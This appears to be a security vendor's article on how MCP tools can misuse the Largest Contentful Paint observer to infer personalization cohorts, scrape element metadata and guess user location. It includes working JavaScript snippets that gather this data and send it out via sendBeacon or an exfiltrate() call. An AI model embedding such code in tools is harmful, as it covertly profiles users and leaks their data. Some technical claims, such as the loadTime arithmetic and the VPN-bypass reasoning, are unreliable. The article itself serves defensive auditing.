MCP Server Security · Performance APIs · Largest Contentful Paint

MCP server Largest Contentful Paint Observer security — continuous LCP updates, personalized image URL inference, lazy-load sequence reconstruction, and element attribute extraction

The Largest Contentful Paint (LCP) PerformanceObserver fires an entry each time the browser identifies a new largest visible element — it updates multiple times per page load, not just once. Each update includes entry.url (the full CDN URL of the image, including query parameters), entry.element (a live DOM reference), entry.renderTime, entry.loadTime, and entry.size. By observing the complete sequence of LCP candidate updates over a 10-second window, MCP tools reconstruct the page's lazy-loading order, infer personalization cohort from image URL patterns, and extract targeting metadata from LCP element attributes — all without making any additional network requests and without any permission gate.

LCP Observer attack surface

LCP entry fieldWhat it exposesAttack relevance
entry.urlFull CDN URL of the LCP image (even cross-origin)A/B variant, personalization cohort, campaign ID from URL query params and path fragments
entry.elementLive DOM reference to the LCP candidate elementRead data-*, aria-label, class names, and child text — server-side targeting metadata
entry.renderTimeTimestamp when element was painted (zeroed for cross-origin without TAOH)Cache warm detection; relative render order between LCP candidates
entry.loadTimeTimestamp when the image resource loaded (not zeroed for cross-origin)CDN TTFB fingerprinting; geographic routing detection
entry.sizeRendered pixel area of the LCP elementIdentifies which element class (hero image, banner, section header) is largest
Multiple updatesSequence of LCP candidates as page loadsLazy-load architecture reconstruction; content priority mapping

Attack 1: Personalization cohort inference from LCP image URLs

Modern marketing platforms serve variant-specific hero images with cohort or experiment data encoded in the CDN URL path or query string. The LCP entry exposes this URL even for cross-origin resources — unlike Resource Timing's timing data (which is zeroed for cross-origin without Timing-Allow-Origin), the entry.url field on LCP entries is always readable:

const lcpCandidates = [];
const obs = new PerformanceObserver(list => {
  for (const entry of list.getEntries()) {
    if (entry.entryType === 'largest-contentful-paint' && entry.url) {
      lcpCandidates.push({
        url: entry.url,
        size: entry.size,
        loadTime: entry.loadTime,
        // Parse URL for personalization signals
        params: Object.fromEntries(new URL(entry.url).searchParams)
      });
    }
  }
});
obs.observe({ type: 'largest-contentful-paint', buffered: true });

// Wait 10s for full LCP candidate sequence
setTimeout(() => {
  navigator.sendBeacon('/c', JSON.stringify(lcpCandidates));
}, 10000);

The URL parameters from a typical personalization platform reveal: ?cohort=high-intent&geo=US-CA&experiment=hero-v3&segment=returning-user. These four parameters alone confirm the user's behavioral segment (high-intent), geographic market (California, US), active experiment ID (hero-v3), and return visitor status — all inferred from a single image URL in a performance entry.

Attack 2: LCP element attribute extraction

The entry.element field provides a live DOM reference to the LCP candidate. This element frequently carries server-side targeting metadata in its attributes — data attributes, ARIA labels, class names, and child text content that identify the promotional campaign, user segment, or content variant:

obs.observe({ type: 'largest-contentful-paint', buffered: false });

// In the observer callback:
if (entry.element) {
  const el = entry.element;
  exfiltrate({
    // Data attributes from marketing platforms
    campaign: el.dataset.campaign,
    variant: el.dataset.variant,
    segment: el.dataset.segment,
    offerId: el.dataset.offerId,
    // Aria labels for accessibility (often descriptive)
    ariaLabel: el.getAttribute('aria-label'),
    // Class names encode component types
    classes: el.className,
    // Child text: promotional copy, pricing, CTA text
    headingText: el.querySelector('h1,h2')?.textContent?.trim(),
    ctaText: el.querySelector('button,a.cta')?.textContent?.trim(),
    priceText: el.querySelector('.price,.cost')?.textContent?.trim()
  });
}

The resulting data package from a single LCP entry can include: the exact promotional offer being shown to this user segment, the price point displayed (revealing personalized pricing), the CTA text (indicating funnel stage), and the campaign ID (enabling attribution theft).

Attack 3: Lazy-load sequence reconstruction

LCP candidates update as increasingly large elements finish loading. A page with lazy-loaded content fires LCP updates in sequence: first the text heading, then the hero image thumbnail, then the full-resolution hero, then a background video poster, then (if the user doesn't interact and the page continues loading) the first below-fold section image. The sequence and timing reveal the page's lazy-loading architecture:

// Track all LCP updates with timestamps and sizes
const sequence = [];
let interacted = false;
document.addEventListener('click', () => interacted = true, { once: true });

const lcpObs = new PerformanceObserver(list => {
  for (const entry of list.getEntries()) {
    sequence.push({
      url: entry.url,
      tagName: entry.element?.tagName,
      size: entry.size,
      renderTime: entry.renderTime || entry.loadTime,
      isInteractionSuppressed: interacted
    });
  }
});
lcpObs.observe({ type: 'largest-contentful-paint', buffered: true });

The sequence maps which content loads in which priority order — revealing the site's content architecture and helping an attacker understand which sections are above-the-fold critical path (high value for phishing mimicry) versus lazy-loaded supplementary content.

Attack 4: loadTime as a CDN geography and cache oracle

Unlike entry.renderTime (zeroed for cross-origin images without Timing-Allow-Origin), entry.loadTime is always exposed — it measures when the image resource completed downloading, not when it was painted. The absolute value of loadTime relative to performance.now() at page load gives TTFB plus transfer time for the LCP image:

// entry.loadTime gives the raw resource load time
// Compare against expected CDN TTFB to infer geography
const ttfb = entry.loadTime - performance.timeOrigin;
// < 50ms = user near CDN PoP (US major city)
// 50-150ms = user on CDN edge (US non-major)
// > 150ms = user accessing from far PoP (international or non-CDN)

// Compare against Resource Timing entry for the same URL
const rtEntry = performance.getEntriesByName(entry.url, 'resource')[0];
if (rtEntry) {
  // rtEntry.transferSize === 0 = image from cache
  // Combined with loadTime > 50ms = stale cache revalidation
}

This geographic inference complements device fingerprinting — IP-based geolocation is common, but CDN TTFB inference from LCP loadTime provides an independent geographic signal that persists even through VPN connections to US exit nodes (which will still have low TTFB to US CDN PoPs regardless of the user's true origin).

LCP URL is always readable for cross-origin images. The spec explicitly allows entry.url on cross-origin LCP entries because it's needed for developer debugging. Only entry.renderTime is zeroed for cross-origin resources without Timing-Allow-Origin. This means image CDN URLs with embedded cohort/variant parameters are fully readable regardless of CORS policy.

SkillAudit findings for LCP Observer

HIGH
LCP observer with entry.url parameter parsing + exfiltration — Reading entry.url, parsing query parameters, and sending them to a remote endpoint. Extracts A/B variant assignment, personalization cohort, and experiment IDs from CDN image URL patterns.
HIGH
LCP entry.element data attribute extraction — Reading data-*, aria-label, and child text content from the LCP candidate element. Captures server-side targeting metadata, promotional campaign IDs, pricing, and CTA text.
MEDIUM
LCP update sequence recording with 10s observation window — Maintaining a buffer of all LCP updates for 10 seconds after page load to capture the full lazy-loading sequence. Reconstructs page content priority architecture.
MEDIUM
LCP loadTime geographic inference — Using entry.loadTime TTFB values to infer user geographic location relative to CDN PoPs. Geographic signal that bypasses VPN IP-based detection for users near CDN nodes.
LOW
LCP buffered drain at tool initialization — Calling obs.observe({ type: 'largest-contentful-paint', buffered: true }) to access past LCP entries. Provides retroactive access to LCP data before tool load.

Defense

Related: Paint Timing API security · Resource Timing security · Performance Timeline deep dive

Scan your MCP server for LCP Observer surveillance risks

Paste a GitHub URL. Get a graded security report in 60 seconds.

Run free audit →